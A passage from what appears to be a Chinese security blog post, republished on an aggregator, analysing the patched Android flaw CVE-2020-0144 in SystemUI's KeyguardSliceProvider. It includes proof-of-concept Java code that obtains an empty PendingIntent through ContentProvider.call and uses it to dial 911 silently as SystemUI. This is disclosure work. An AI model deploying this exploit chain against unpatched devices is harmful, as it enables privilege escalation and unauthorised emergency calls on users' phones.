Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:12925 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
Android的特殊攻击面(三)——隐蔽的call函数
本文来自公众号:OPPO安全应急响应中心   2020.07.08 11:19:58





以上文章由来自OPPO子午互联网安全实验室【heeeeen】的 有赏投稿,也欢迎广大朋友继续投稿,详情可点击 OSRC重金征集文稿!!! 了解~~
温馨提示:建议投稿的朋友尽量用markdown格式,特别是包含大量代码的文章





0x00 简介

6月,Google在Android AOSP Framework中修复了OPPO子午互联网安全实验室发现的高危提权漏洞CVE-2020-0144 [1] ,这个漏洞允许手机上没有权限的恶意应用以SystemUI 的名义发送任意Activity Intent ,可以静默拨打紧急电话,打开许多受权限保护的Activity。该漏洞也是自retme大神所分析的BroadcastAnyWhere经典漏洞[2]以来的又一个PendingIntent劫持漏洞,尽管无法以System UID的权限发送任意广播,但由于SystemUI 同样拥有大量权限,该提权漏洞仍然具有很大的利用空间。
本文将对CVE-2020-0144进行分析,不过重点倒不在于PendingIntent漏洞利用,而是介绍该漏洞中PendingIntent的获取,这涉及到ContentProvider的一个比较隐蔽的函数—— call

0x01 ContentProvider call

call函数的其中一个原型如下
public Bundle call (String method, String arg, Bundle extras)               Bundle extras)```

与其他基于数据库表的 query/insert/delete 等函数不同,call提供了一种针对Provider的直接操作接口,支持传入的参数分别为:方法、String类型的参数和Bundle类型的参数,并返回给调用者一个Bundle 类型的参数。
call函数的使用潜藏暗坑,开发者文档特意给出警示[3]:Android框架并没有针对call函数进行权限检查,call函数必须实现自己的权限检查。这里的潜在含义是:AndroidManifest文件中对ContentProvider的权限设置可能无效,必须在代码中对调用者进行权限检查。文章[4]对这种call函数的误用进行了描述,并给出了漏洞模型,感兴趣的读者可以去深究。

0x02 双无PendingIntent

CVE-2020-0144位于SystemUI的KeyGuardSliceProvider,该Provider包含一个构造自空Intent的PendingIntent。这是一个双无PendingIntent,既没有指定Intent的Package,也没有指定Intent的Action。普通App如果可以拿到这个PendingIntent,就可以填充这些内容,并以SystemUI的名义发送出去。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
```javapublic boolean onCreateSliceProvider() { ... mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0); ... }return true; }```
关键是普通App,如何拿到这个PendingIntent?要回答这个问题,必须从KeyGuardSliceProvider的父类SliceProvider说起。

0x03 SliceProvider

SliceProvider是自Android P开始引入的一种应用程序间共享UI界面的机制,其架构如下图所示。在默认使用场景下,Slice的呈现者(SlicePresenter),可以通过Slice URI和Android系统提供的bindSlice等API来访问另一个App通过SliceProvider分享出来的Slice。
简而言之,Slice是可共享的UI界面,包括图标、文本和动作(action),Slice通过URI来唯一标识。比如Settings中打开NFC开关的这个界面
可以通过SettingsSliceProvider中 content://android.settings.slices/action/toggle_nfc 这个URI共享给别的应用使用,用户不必打开Settings,就可以在其他应用界面中对NFC开关进行操作。除了显示文字和图标,上述界面也包含两个action:
  • 点击文字:跳转到Settings中的NFC设置界面;
  • 点击按钮:直接打开或关闭NFC选项。
这两个提供给用户触发的action实质都是通过PendingIntent来实现的。
关于SliceProvider的详细介绍参见[5]、[6],尽管Android框架层提供了一系列API供App来使用SliceProvider,但更底层的call函数提供了一种直接操纵SliceProvider的捷径。
仔细观察SliceProvider,实现了call函数,根据不同的调用方法,返回一个包含Slice对象的Bundle。
frameworks/base/core/java/android/app/slice/SliceProvider.java
```java @Override    public Bundle call(String method, String arg, Bundle extras) {        if (method.equals(METHOD_SLICE)) {            Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(                    extras.getParcelable(EXTRA_BIND_URI)));            List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);
String callingPackage = getCallingPackage(); int callingUid = Binder.getCallingUid(); int callingPid = Binder.getCallingPid();
Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid); Bundle b = new Bundle(); b.putParcelable(EXTRA_SLICE, s); return b; } else if (method.equals(METHOD_MAP_INTENT)) { ... } else if (method.equals(METHOD_MAP_ONLY_INTENT)) { ... } else if (method.equals(METHOD_PIN)) { ... } else if (method.equals(METHOD_UNPIN)) { ... } else if (method.equals(METHOD_GET_DESCENDANTS)) { ... } else if (method.equals(METHOD_GET_PERMISSIONS)) { ... } return super.call(method, arg, extras); }
```
我们观察第一个分支,当传入的方法为METHOD_SLICE时,调用链为 SliceProvider.handleBindSlice-->onBindSliceStrict-->onBindSlice ,中间若通过了Slice访问的权限检查,最终就会进入onBindSlice方法,在SliceProvder中这个方法为空,因此具体实现在派生SliceProvider的子类。

0x04 KeyguardSliceProvider

SystemUI 所使用的KeyguardSliceProivder派生自SliceProvider,可以将锁屏上的日期、勿扰图标以及闹钟等展示界面分享给其他App使用。
```xml<provider android:name=".keyguard.KeyguardSliceProvider"android:authorities="com.android.systemui.keyguard"android:grantUriPermissions="true"android:exported="true"></provider>```
针对KeyguardSliceProvider的URI content://com.android.systemui.keyguard 使用call函数,传入METHOD_SLICE,最终进入下面的onBindSlice方法。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
```java@AnyThread@Overridepublic Slice onBindSlice(Uri sliceUri) { Trace.beginSection("KeyguardSliceProvider#onBindSlice"); Slice slice;synchronized (this) { ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);if (needsMediaLocked()) { addMediaLocked(builder); } else { builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText)); } addNextAlarmLocked(builder); addZenModeLocked(builder); addPrimaryActionLocked(builder); slice = builder.build(); } Trace.endSection();return slice; }```
这个方法返回给调用方KeyGuardSliceProvider的Slice对象,该对象通过addPrimaryActionLocked(builder)函数添加内部的action。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
```javaprotected void addPrimaryActionLocked(ListBuilder builder) {// Add simple action because API requires it; Keyguard handles presenting// its own slices so this action + icon are actually never used. IconCompat icon = IconCompat.createWithResource(getContext(), R.drawable.ic_access_alarms_big); SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon, ListBuilder.ICON_IMAGE, mLastText); RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI)) .setPrimaryAction(action); builder.addRow(primaryActionRow); }```
注意上面那个 mPendingIntent ,也就是我们在前文所说的那个双无PendingIntent,该对象会被层层包裹到call函数返回的Slice对象中。 因此,通过call函数,经过SliceProvider与KeyguardSliceProvider,有可能拿到SystemUI 生成的一个双无PendingIntent。

0x05 SliceProvider授权

但是使用下面的代码去call KeyguardSliceProvider会触发第一次访问Slice的授权。
----POC1----

```java final static String uriKeyguardSlices = "content://com.android.systemui.keyguard"; Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle()); Slice slice = responseBundle.getParcelable("slice"); Log.d("pi", slice.toString());
private Bundle prepareReqBundle() { Bundle b = new Bundle(); b.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices)); ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>(); supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST", 1)); supportedSpecs.add(new SliceSpec("androidx.slice.LIST", 1)); supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC", 1)); b.putParcelableArrayList("supported_specs", supportedSpecs);return b; }```
得到Slice如下
```shell05-30 08:31:02.306 11449 11449 D pi : slice:05-30 08:31:02.306 11449 11449 D pi : image05-30 08:31:02.306 11449 11449 D pi : text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices05-30 08:31:02.306 11449 11449 D pi : int05-30 08:31:02.306 11449 11449 D pi : slice:05-30 08:31:02.306 11449 11449 D pi : image05-30 08:31:02.306 11449 11449 D pi : action```
从上面的text描述可知,由于SystemUI并没有授权给我们的app去访问这个Slice,我们的call触发了对Slice的授权请求,得到的Slice对象经由createPermissionSlice返回
frameworks/base/core/java/android/app/slice/SliceProvider.java
```javaprivate Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs, String callingPkg, int callingUid, int callingPid) {// This can be removed once Slice#bindSlice is removed and everyone is using// SliceManager#bindSlice. String pkg = callingPkg != null ? callingPkg : getContext().getPackageManager().getNameForUid(callingUid);try { mSliceManager.enforceSlicePermission(sliceUri, pkg, callingPid, callingUid, mAutoGrantPermissions); } catch (SecurityException e) {return createPermissionSlice(getContext(), sliceUri, pkg); }```
这个Slice封装了一个向用户获取授权的动作,通过createPermissionSlice函数得到
frameworks/base/core/java/android/app/slice/SliceProvider.java
```javapublic Slice createPermissionSlice(Context context, Uri sliceUri,String callingPackage) {PendingIntent action;mCallback = "onCreatePermissionRequest";Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);try {action = onCreatePermissionRequest(sliceUri);} finally {Handler.getMain().removeCallbacks(mAnr);}```
最终调用createPermissionIntent,构造一个PendingIntent,用于弹出授权对话框SlicePermissionActivity
frameworks/base/core/java/android/app/slice/SliceProvider.java
```java/** * @hide */public static PendingIntent createPermissionIntent(Context context, Uri sliceUri, String callingPackage) { Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION); intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity")); intent.putExtra(EXTRA_BIND_URI, sliceUri); intent.putExtra(EXTRA_PKG, callingPackage); intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());// Unique pending intent. intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage) .build());
return PendingIntent.getActivity(context, 0, intent, 0); }```
看到这里,就知道普通App也可以直接发起这个授权,让用户同意对KeyguardSliceProvider的访问,POC发起授权的部分如下。
---POC2---
```javaIntent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION"); intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity"));
Uri uri = Uri.parse(uriKeyguardSlices); intent.putExtra("slice_uri", uri); intent.putExtra("pkg", getPackageName()); intent.putExtra("provider_pkg", "com.android.systemui");
startActivity(intent);
```
点击同意后,就可以真正call到KeyguardSliceProvider

0x06 PendingIntent劫持题

再次调用POC1,得到Slice如下,
```shell sargo:/data/system/slice # logcat -s pi--------- beginning of main05-30 10:40:52.956 12871 12871 D pi : long05-30 10:40:52.956 12871 12871 D pi : slice:05-30 10:40:52.956 12871 12871 D pi : text: Sat, May 3005-30 10:40:52.956 12871 12871 D pi : slice:05-30 10:40:52.956 12871 12871 D pi : action05-30 10:40:52.956 12871 12871 D pi : long```

注意上面显示的 那个action就是需要劫持的PendingIntent,通过调试观察,这个PendingIntent被层层包裹,位于返回Slice第3个SliceItem的第1个SliceItem,用代码表示就是
`PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();`
这样就可以给出POC的最终利用
---POC3---
```javaBundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
Slice slice = responseBundle.getParcelable("slice");Log.d("pi", slice.toString());PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");evilIntent.setData(Uri.parse("tel:911"));try { pi.send(getApplicationContext(), 0, evilIntent, null, null);} catch (PendingIntent.CanceledException e) { e.printStackTrace();}```
在用户仅授权访问SystemUI KeyguardSliceProvider的情况下,拨打紧急电话。
至此,我们通过call函数,经过SliceProvider的授权,层层剥茧抽丝,拿到了潜藏至深的双无PendingIntent,并以SystemUI的名义直接拨打紧急电话。这是一个绕过有关安全设置权限的操作,因此Google评级为高危。

0x07 修复

Google针对双无PendingIntent进行了修复,使其指向一个并不存在的的Activity,无法被劫持。
```java- mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);+ mPendingIntent = PendingIntent.getActivity(getContext(), 0,+ new Intent(getContext(), KeyguardSliceProvider.class), 0);```

0x08 参考

[1] https://source.android.com/security/bulletin/2020-06-01


[2] http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html


[3[https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String,%20java.lang.String,%20java.lang.String,%20android.os.Bundle)](https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String, java.lang.String, java.lang.String, android.os.Bundle))


[4] https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/src/master/ICC/WeakChecksOnDynamicInvocation-DataInjection-Lean/


[5] https://developer.android.com/guide/slices


[6] https://proandroiddev.com/android-jetpack-android-slices-introduction-cf0ce0f3e885